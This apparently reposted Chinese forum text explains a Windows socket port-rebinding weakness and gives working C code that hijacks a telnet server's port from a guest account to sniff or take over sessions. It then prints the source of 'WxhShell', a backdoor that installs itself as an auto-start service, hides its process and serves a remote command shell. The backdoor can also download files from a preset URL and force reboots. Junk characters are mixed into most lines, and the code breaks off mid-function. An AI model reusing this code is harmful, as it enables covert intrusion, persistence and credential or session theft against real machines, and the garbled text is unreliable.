在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Qnr7Qnb s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:nLhg$wMs Yw!(]8PYdU saddr.sin_family = AF_INET;
>}I BPC Ho^rYz saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Fv!KLw@
USDqh437 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
mh$ Nwr/W: f3E%0cg 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>Nho`m( f7du1k3 这意味着什么?意味着可以进行如下的攻击:
WVMkLMg8d MJ%gF=$X 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{>]7xTpwZ "d3qUk 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
/4xp?Lo: w(6(Fze 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0hCrEM!8 zZh\e,* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
.ou#BWav/ 0*4h}t9j 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"Vw;y+F} WU:r:m+
> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;zpSyyp@ 13f@Ox$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
iC`mj J;R1OJs S #include
jb'AOs #include
No(p:Snbo #include
q33Z.3R #include
]!mC5Ea DWORD WINAPI ClientThread(LPVOID lpParam);
+<TnE+>j int main()
cy%S5Rz {
i,R+C.6{ WORD wVersionRequested;
F,)\\$=, DWORD ret;
]A#K;AW{U WSADATA wsaData;
+jv&V%IL BOOL val;
2<X.kM?N{B SOCKADDR_IN saddr;
?z/ )Hkw SOCKADDR_IN scaddr;
+#wh`9[wBt int err;
$p?TE8G SOCKET s;
24; BY' SOCKET sc;
gQ8FjL6? int caddsize;
x[m&ILr HANDLE mt;
caC-JcDXy DWORD tid;
{wS)M wVersionRequested = MAKEWORD( 2, 2 );
}iBFo\vU err = WSAStartup( wVersionRequested, &wsaData );
#CcC& I
:c if ( err != 0 ) {
a*T=;P3(I printf("error!WSAStartup failed!\n");
b$,~S\\c
return -1;
K:_5#!*^98 }
#y2IHO- saddr.sin_family = AF_INET;
<5fb,@YN g/_j"Nn //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^:Hx . g q`S` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ka UEv\T saddr.sin_port = htons(23);
&40# _>W7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%@Ow.7zh {
+T,Yf/^Fn printf("error!socket failed!\n");
aZBS!X return -1;
n72+X }
:Y\!~J3W val = TRUE;
J =j6rD //SO_REUSEADDR选项就是可以实现端口重绑定的
L^b /+R# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6!Z>^'6 {
KN\*|) printf("error!setsockopt failed!\n");
#J_+
SL[ return -1;
!\(j[d# }
%7vjYvo> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
f?[0I\V[$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J6s@}@R1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ZPO+ #, wx]r{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
[.[|rnil {
-,Y[`(q ret=GetLastError();
f?P>P23 printf("error!bind failed!\n");
}s>.Fh return -1;
xoQ;fVNp }
KO''B or listen(s,2);
a|u&N:v7B while(1)
-rXo}I,VI {
}r _d{nhi caddsize = sizeof(scaddr);
SAUfA5|e //接受连接请求
iI
4XM>`a sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
^h^\kW'# if(sc!=INVALID_SOCKET)
[)S7`K; {
kE`V@F mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
D&C83^m if(mt==NULL)
>x0) {
^W)h=49PN printf("Thread Creat Failed!\n");
4n9c break;
qbZY[Q+F }
CG397Y^ }
]\ DIJ>JZ CloseHandle(mt);
Hp}d m93T }
NBaXfWh closesocket(s);
LF?MO1!M WSACleanup();
{S*:pG:+q return 0;
Q}(D^rGP3 }
;"T,3JQPn6 DWORD WINAPI ClientThread(LPVOID lpParam)
wrJ:jTh {
<JkmJ/X SOCKET ss = (SOCKET)lpParam;
}u9wD08x SOCKET sc;
8Vf]K}d unsigned char buf[4096];
fHc/5uYW SOCKADDR_IN saddr;
[e.@Yx_} long num;
rfwX:R6,g DWORD val;
G~$[(Fhk DWORD ret;
j7u\.xu9 //如果是隐藏端口应用的话,可以在此处加一些判断
E!SxO~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
g71|t7Q saddr.sin_family = AF_INET;
\7elqX`.yY saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
fk!P# saddr.sin_port = htons(23);
h^aUVuL/
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'|~L9t {
YVT\@+C' printf("error!socket failed!\n");
%!HBPLk return -1;
3^x
C=++ }
66jL2XU< val = 100;
PZB_6!}2[F if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"(cMCBVYdA {
E3`&W8 ret = GetLastError();
z($h7TZ$ return -1;
)(`HEl>-9c }
Pko2fJt1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
J*}Qnl + {
xTV3U9 v ret = GetLastError();
azT@S=, return -1;
R.rxpJ+kU }
-!JnyD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
\Ng|bWR>LQ {
3g''j7 printf("error!socket connect failed!\n");
=,WW#tD closesocket(sc);
?jy6%Y#,i closesocket(ss);
F?EAIL return -1;
uL1$yf' }
![}q9aeT while(1)
,LpG E>s {
P S [ifC //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s?-J`k~q //如果是嗅探内容的话,可以再此处进行内容分析和记录
25m6/Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Sru}0M#M num = recv(ss,buf,4096,0);
W2-1oS~ma if(num>0)
SRfnT?u6 send(sc,buf,num,0);
Vub($ else if(num==0)
klON6<w break;
KB6'sj num = recv(sc,buf,4096,0);
o n+:{ad if(num>0)
N{o3w.g send(ss,buf,num,0);
E>2~cC* else if(num==0)
hnD=DLW $ break;
<-avC/M$d }
/ltGSl closesocket(ss);
Gj9WUv[P closesocket(sc);
WK)2/$7@ return 0 ;
;E0aTV)Zp }
:3$$PdZ c(5r fBZAO ==========================================================
<~ 9a3c? nPh|rW= 下边附上一个代码,,WXhSHELL
ER4j=O# $<QOMfY> ==========================================================
fAHf}j {T2=bK~ #include "stdafx.h"
fRT4,; N-cLp}D}WB #include <stdio.h>
-w#*~Q{'* #include <string.h>
B!X;T9^d #include <windows.h>
WD${f#]N #include <winsock2.h>
hNWZ1r~_ #include <winsvc.h>
CpG]g>]L&[ #include <urlmon.h>
=MCQNyf+ ;kv/(veQ1< #pragma comment (lib, "Ws2_32.lib")
[n!5!/g>j #pragma comment (lib, "urlmon.lib")
XI"8d.VR [Kc"L+H\ #define MAX_USER 100 // 最大客户端连接数
U 4Sxr #define BUF_SOCK 200 // sock buffer
b!hs|emo; #define KEY_BUFF 255 // 输入 buffer
{6, l#z Z#nPn>,q #define REBOOT 0 // 重启
[(65^Zl` #define SHUTDOWN 1 // 关机
zv>3Tc0R ZT'VF~ #define DEF_PORT 5000 // 监听端口
9S8>"w^R 0%f}w0]: #define REG_LEN 16 // 注册表键长度
XNd%3rm, #define SVC_LEN 80 // NT服务名长度
'Bc{N^ %D9,Femt // 从dll定义API
P9/Bc^5' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
WVa#nU^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|?=a84n1l typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_RI!Z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
YA,vT[kX F{;{o^Pv // wxhshell配置信息
X4z6#S58 struct WSCFG {
`$hna{e^n int ws_port; // 监听端口
!Ic{lB char ws_passstr[REG_LEN]; // 口令
3LK]VuZE int ws_autoins; // 安装标记, 1=yes 0=no
^xZ o.P char ws_regname[REG_LEN]; // 注册表键名
T)Ohk(jK1 char ws_svcname[REG_LEN]; // 服务名
rr;p; char ws_svcdisp[SVC_LEN]; // 服务显示名
VGDds char ws_svcdesc[SVC_LEN]; // 服务描述信息
%hnv
go:^g char ws_passmsg[SVC_LEN]; // 密码输入提示信息
gp`H>Sn.| int ws_downexe; // 下载执行标记, 1=yes 0=no
"?r=n@Kv char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
45+w)Vf! char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@s[Vtw%f dH8^\s .F };
'1u!@=.\G fP:26pK^ // default Wxhshell configuration
h'D-e5i struct WSCFG wscfg={DEF_PORT,
RD1N@sHDKc "xuhuanlingzhe",
#;*0 Pwe` 1,
U0Q:sA U "Wxhshell",
:
U:>X6f "Wxhshell",
WhY8#B'? "WxhShell Service",
xP+HdA2X "Wrsky Windows CmdShell Service",
|4lrVYG^K "Please Input Your Password: ",
V <;vy&& 1,
H)u<$y!8 "
http://www.wrsky.com/wxhshell.exe",
Frxim "Wxhshell.exe"
>^\}"dEvr };
BEfp3|Stb &y~EEh| // 消息定义模块
C~PoC'"q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
b{WEux{) char *msg_ws_prompt="\n\r? for help\n\r#>";
s'Op|`&X char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]`S35b char *msg_ws_ext="\n\rExit.";
7 g2@RKo char *msg_ws_end="\n\rQuit.";
tOQura char *msg_ws_boot="\n\rReboot...";
(ZI11[e{ char *msg_ws_poff="\n\rShutdown...";
`EjPy>kM char *msg_ws_down="\n\rSave to ";
_h2s(u
>\ gXzp$# char *msg_ws_err="\n\rErr!";
:fW\!o8Z2 char *msg_ws_ok="\n\rOK!";
c/bIt d
6$,N| char ExeFile[MAX_PATH];
4Z"JC9As int nUser = 0;
XNm%O HANDLE handles[MAX_USER];
V< ]l=JOd int OsIsNt;
_0uFe7sIZ CG -^}xE: SERVICE_STATUS serviceStatus;
dDeImSeV SERVICE_STATUS_HANDLE hServiceStatusHandle;
M:* ^k ;K+'J0 // 函数声明
9~FB^3Nz_ int Install(void);
[p7cgHSMt int Uninstall(void);
}RT#V8oc int DownloadFile(char *sURL, SOCKET wsh);
'=^$;3Z int Boot(int flag);
l'#P:eW void HideProc(void);
{8YNmxF# int GetOsVer(void);
<l,Kg
'v int Wxhshell(SOCKET wsl);
@}Y,A~ void TalkWithClient(void *cs);
B
>
sTM int CmdShell(SOCKET sock);
\@ jYY~ int StartFromService(void);
nKP[U=ac int StartWxhshell(LPSTR lpCmdLine);
4z$}e- yhBf %m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
YH%aPsi VOID WINAPI NTServiceHandler( DWORD fdwControl );
T9,T'y>BD Ig*qn# Dd // 数据结构和表定义
@fML.AT SERVICE_TABLE_ENTRY DispatchTable[] =
8D[,z 7n {
n%"0%A {wscfg.ws_svcname, NTServiceMain},
1E]|>)$ {NULL, NULL}
y_mD9bgW };
f T&>L RkW)B^# // 自我安装
/M.@dW7
w int Install(void)
p%_m!
{
{ 4(E
@ char svExeFile[MAX_PATH];
f-!A4eKe HKEY key;
$Bd13%>) strcpy(svExeFile,ExeFile);
%^r}$mfy:0 @H?_x/qBT // 如果是win9x系统,修改注册表设为自启动
?3v Oc/2@ if(!OsIsNt) {
iHp@R-g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PN$vBFjm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lM<SoC;[ RegCloseKey(key);
0d%p<c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tk"+PTGJT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]I|3v]6qR RegCloseKey(key);
:=I@<@82W return 0;
h.`U)6*?&N }
XehpW}2\ }
cnrS.s= }
`k>h2(@9S
else {
f8m%T%]f `(RQh@H // 如果是NT以上系统,安装为系统服务
ylEQeN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
DKcg
if (schSCManager!=0)
\8 I>^4t'/ {
?2#v`Z=L; SC_HANDLE schService = CreateService
K1F,M9 0] (
!E0zj9 [ R schSCManager,
-}h+hS50F wscfg.ws_svcname,
le*1L8n$' wscfg.ws_svcdisp,
NvZ )zE SERVICE_ALL_ACCESS,
axRzn:f SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
k>N >_{\ SERVICE_AUTO_START,
Pd,+=
ML
SERVICE_ERROR_NORMAL,
NVTNjDF%s svExeFile,
cvf@B_iN9 NULL,
YRkp(}*!\ NULL,
#..-!>lY NULL,
]T3dZ`-( NULL,
A=v^`a03I NULL
S;582H9D );
`3v!i if (schService!=0)
I^5T9}>Q {
RawK9K_1 CloseServiceHandle(schService);
1>doa1 CloseServiceHandle(schSCManager);
&r{.b#7\/A strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*acN/Ca1 strcat(svExeFile,wscfg.ws_svcname);
; U)a)l'y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
1lxsj{>U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
q*<Fy4j RegCloseKey(key);
NbD"O8dL~E return 0;
.Q,IO CHk }
"]j GCo>9 }
Ew4>+o! CloseServiceHandle(schSCManager);
31w9$H N }
`o9vE0^T< }
W.xlS
ZEB F^m`j6 return 1;
?D].Za^km }
Pgy&/-u MZ(TST" // 自我卸载
q+MV@8w int Uninstall(void)
M>mk=-l {
'wo[iNy[ HKEY key;
b9ON[qOMN kp4*|$] if(!OsIsNt) {
Jl"),;Od if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
uc%
&g RegDeleteValue(key,wscfg.ws_regname);
> n~l\
fC RegCloseKey(key);
0/8rYBV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I 9yNTD RegDeleteValue(key,wscfg.ws_regname);
b6IYo!3 RegCloseKey(key);
*cdr,AD?lH return 0;
!bnuC c }
idm!6] }
Y *
#'Gh, }
kAbkhZ1^ else {
:q V}v2 1_Um6vS# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
FtUO gL)| if (schSCManager!=0)
$B6"fYiDk {
U&fOsx?" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Lp; {&=PIo if (schService!=0)
}lzyl*. {
Hev S}L
if(DeleteService(schService)!=0) {
s!\uR. CloseServiceHandle(schService);
Lm kv.XF CloseServiceHandle(schSCManager);
Ni$WI{e9 return 0;
<a-I-~ }
_P!J0 CloseServiceHandle(schService);
tHSe>*eC }
8&6h() CloseServiceHandle(schSCManager);
ta>:iQa }
8K!
l X }
8>Xyz`$kH f>)k<-<yj return 1;
&zsaVm8 }
u>Z0ug6x 3K2`1+kBVG // 从指定url下载文件
Y{X79Rd int DownloadFile(char *sURL, SOCKET wsh)
0]l _qxv {
+OFq=M HRESULT hr;
Y`S9mGR# char seps[]= "/";
N|c;Qzl char *token;
#vi `2F char *file;
@O}%sjC1 char myURL[MAX_PATH];
*0)vsBi char myFILE[MAX_PATH];
6(4FC?Y7 +'abAST
t strcpy(myURL,sURL);
:\x)`lu token=strtok(myURL,seps);
N"2Ire while(token!=NULL)
JcEPwF. {
VnUWUIVJ file=token;
OWs K>egD token=strtok(NULL,seps);
]KfjZ!Qh }
?[Od. $m`?x5rL8 GetCurrentDirectory(MAX_PATH,myFILE);
O/^7TBTn<r strcat(myFILE, "\\");
75~>[JM strcat(myFILE, file);
ffK A send(wsh,myFILE,strlen(myFILE),0);
*<n]"- send(wsh,"...",3,0);
:ND5po#( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*TY?*H if(hr==S_OK)
ANEW^\ return 0;
=Mb!&qq else
c&.>SR') return 1;
V`Z-m-V~1 *.wX9g9\ }
K
&m`1f umrfA // 系统电源模块
Bk&ry)`gD int Boot(int flag)
dEU+\NY {
!(PAUWS@ HANDLE hToken;
xJ>U_Gd TOKEN_PRIVILEGES tkp;
rvZXK<@#+ l5ww-#6Z if(OsIsNt) {
Al="ss&2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
x@3Ix,b' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
i-)OY, tkp.PrivilegeCount = 1;
z{U2K' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
(]0JI1
d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8^CdE*a if(flag==REBOOT) {
=Jfo=`da if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
tgy*!B6a~ return 0;
|Id0+-V
? }
8%]o6'd4 else {
h.@5vhD if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(j;s6g0 return 0;
L.XGD|m }
x5vvY }
>%k:++b{ else {
p`lv$ @q' if(flag==REBOOT) {
uh'{+E;= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]NS{q85 return 0;
e;9Z/);#s }
&U%AVD[ else {
\<WRk4D if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-ju&"L B return 0;
1e.V%!Xk }
m,KG}KX }
/1ZRjf^ cl
kL)7RQ return 1;
Lu,72i0O ^ }
Tg|0!0qD]F zKB$n.H // win9x进程隐藏模块
Jhdo#}Ub void HideProc(void)
R7u &` {
$d2mcwh\
1+|s
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
}t }y if ( hKernel != NULL )
nen( {
+6tj
w 6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^6R?UG;6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?-w<H!Y7 FreeLibrary(hKernel);
4lMf'V7*l }
F}p)Q$0 ?S^ U-.` return;
rEEoR'c6 }
(D5 dN\ 8."B // 获取操作系统版本
ha+)ZF int GetOsVer(void)
D?ojxHe {
+VxzWNs*JP OSVERSIONINFO winfo;
34S0W]V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
&Z!O GetVersionEx(&winfo);
yClX!OL if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Q!7il<S return 1;
A)"?GK{* else
KwO;ICdJ return 0;
jd]Om
r! }
w1tWyKq /U\k<\1~m // 客户端句柄模块
s`Z|
A int Wxhshell(SOCKET wsl)
.!|\Y!]^r {
XS+2OutVo SOCKET wsh;
0;9X`z
J struct sockaddr_in client;
vz'/]E DWORD myID;
XFJGL!wWm[ SB"Uu2)wZ while(nUser<MAX_USER)
Zi'}qs$v {
fS9TDy int nSize=sizeof(client);
`5da wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
<r 2$k"*: if(wsh==INVALID_SOCKET) return 1;
?wM{NVt#- Msj(>U&}+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Sep/N"7~t if(handles[nUser]==0)
w)}' {]P"c closesocket(wsh);
=^a Ngq else
(lPiv+'n nUser++;
klpYtQ }
j{ QzD^t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
miWog 8j {vCB$@/o return 0;
NVyel*QE }
v+\&8)W= Cn6<I {`\ // 关闭 socket
`^_c&y K void CloseIt(SOCKET wsh)
2z*EamF {
#6okd*^ closesocket(wsh);
f8ucJ.{" nUser--;
>#pZ`oPEAv ExitThread(0);
{v3?.a$u }
P_e9>t@ >+}yI}W;e // 客户端请求句柄
E}-Y!,v^ void TalkWithClient(void *cs)
Lt'FA {
LT+QW =(]yl_ SOCKET wsh=(SOCKET)cs;
s}w?Dvo \ char pwd[SVC_LEN];
::<v; `l char cmd[KEY_BUFF];
B h<DqN char chr[1];
_m0B6?KJ int i,j;
Ht`kmk;I) ylTX while (nUser < MAX_USER) {
r@WfZZ `IC2}IiF if(wscfg.ws_passstr) {
2Q bCH} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P]h-**O //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g/3t@7*< //ZeroMemory(pwd,KEY_BUFF);
<D}yqq@| i=0;
|FED< while(i<SVC_LEN) {
4eD>DW =[_=y=G // 设置超时
qS|ns'[ fd_set FdRead;
UO~Xzx!e struct timeval TimeOut;
_|^cudRv FD_ZERO(&FdRead);
-K%hug
FD_SET(wsh,&FdRead);
Q}zd!* TimeOut.tv_sec=8;
1@}s: TimeOut.tv_usec=0;
*'l|ws int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
f3;.+hJ]) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
bz'#YM zEBUR%9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
NQ3EjARZt pwd
=chr[0]; lEXER^6
if(chr[0]==0xd || chr[0]==0xa) { Mp-hNO}.Z
pwd=0; Q0j4c
break; Y'&rSHI"
} ,#V}qSKUS
i++; 1#Q~aY
}
4QZ|e{t
pB;8yz=
// 如果是非法用户,关闭 socket woyn6Z1JQ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ORDVyb_x
} *xV
9YQYg@+R
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k]"DsN$
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ][?@))
d,XNok{
while(1) { :P/0 "
UD0#Tpd7
ZeroMemory(cmd,KEY_BUFF); cLm|^j/
^l8&y;-T
// 自动支持客户端 telnet标准 bc3 T8(
j=0; Bw Cwy
while(j<KEY_BUFF) { L]e@./C$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0wE)1w<C~
cmd[j]=chr[0]; O'.sK pXe
if(chr[0]==0xa || chr[0]==0xd) { xf|vz|J?y
cmd[j]=0; jCK 0+,;
break; 9er0Ww.d
} &P:2`\'
j++; :jHDeF.A
} 5fDp"-
'UFPQ
// 下载文件 sZh| <2
if(strstr(cmd,"http://")) { lHI?GiB@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y'U]!c9
if(DownloadFile(cmd,wsh)) n4A#T#D!t3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /RBIZ_
else +@mgb4_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *|*6q/
} \$Q?
else { qBDhCE
.~Gt=F+`s
switch(cmd[0]) { }}X<e
N@x5h8
// 帮助 W6&mXJ^3L
case '?': { fN_Ilg)t?5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ozUsp[W>
break; WB|N)3-1
} @.8FVF
// 安装 `gE_u
case 'i': { kP[LS1}*
if(Install()) _xu_W;nh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FCIA8^}s
else +Ua.\1"6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dw YGhhm
break; 6}JW- sA
} f7v|N)
// 卸载 ;=lQMKx0
case 'r': { @!KG;d:l
if(Uninstall()) UZ-[vD1n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); neBcS[
else qBF}-N_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hOM#j
break; J/>9w
}
["BD,mB
// 显示 wxhshell 所在路径 Xf%wW[~
case 'p': { ojbms>a
char svExeFile[MAX_PATH]; i~ITRi@
strcpy(svExeFile,"\n\r"); 7*C>4Gs
strcat(svExeFile,ExeFile); W%P$$x5&
send(wsh,svExeFile,strlen(svExeFile),0); t2hI^J0y
break; <d~IdK'\x
} Fx3 X
// 重启 7OdJ&Gzd
case 'b': { /;;$9O9
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y*-dUJK-`
if(Boot(REBOOT)) ,tl(\4n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M-zqD8D
else { P.W@5:sD
closesocket(wsh); V2o1~R~
ExitThread(0); 3FsX3K,_X
} F-GrQd:O=
break; %'&_Po\
} +z O.|`+
// 关机 a~wlD.P
case 'd': { 0NMmN_Lr
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]EfM;'j[
if(Boot(SHUTDOWN)) 9/dI 6 P7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |*y'H*
else { }~!KjFbs
closesocket(wsh); k. ?@qCs[
ExitThread(0); rOTxD/
} .mvpFdn
break; k~=W1R%
} V]6CHE:BS
// 获取shell I.{%e;Reg
case 's': { q 1~3T;Il
CmdShell(wsh); k*|WI$
closesocket(wsh); xF8 8'p'
ExitThread(0); Ry`Y +
break; Rd,5&X$
} ^+u/Lw&
// 退出 UhbGU G
case 'x': { _qjkiKm?1F
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UUR` m
CloseIt(wsh); +qee8QH
break; 5K {{o''
} S&{#sl#e
// 离开 AI9#\$aGV
case 'q': { @%gth@8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); k[8{N
closesocket(wsh); 8Uoqj=5F
WSACleanup(); 3}nkTZ G
exit(1); O>/&-Wk=
break; ~pPj
} W3y9>]{x^
} [_1K1i"m
} li
fT0+inRG
// 提示信息 cjc1iciZ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;{Tf:j'g
} mu@IcIb>
} AR6hfdDDT
J9q[u[QZ9O
return; W+ v#m>G
} { v#wU
Xo
,U$zE
// shell模块句柄 {LqahO*
int CmdShell(SOCKET sock) 9IJc9Sv(
{ U
IHe^ ?R
STARTUPINFO si; 9N;y^
Y\
ZeroMemory(&si,sizeof(si)); 0<u(!iL
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2W6t0MgZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F+285JK
PROCESS_INFORMATION ProcessInfo; m?`?T
char cmdline[]="cmd"; bI+ TFOP
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 68nBc~iAm
return 0;
(x1 #_~
} hs?cV)hDS
ITf4PxF
// 自身启动模式 Tw@:sWC
int StartFromService(void) ^-dhz88wV
{ /5j]laYK)
typedef struct a4x(lx&
{ MBO>.M$B
DWORD ExitStatus; u$nYddak
DWORD PebBaseAddress; ^ SW!S_&Z2
DWORD AffinityMask; +a74] H"
DWORD BasePriority; *s (L!+
ULONG UniqueProcessId; O[\obi"}
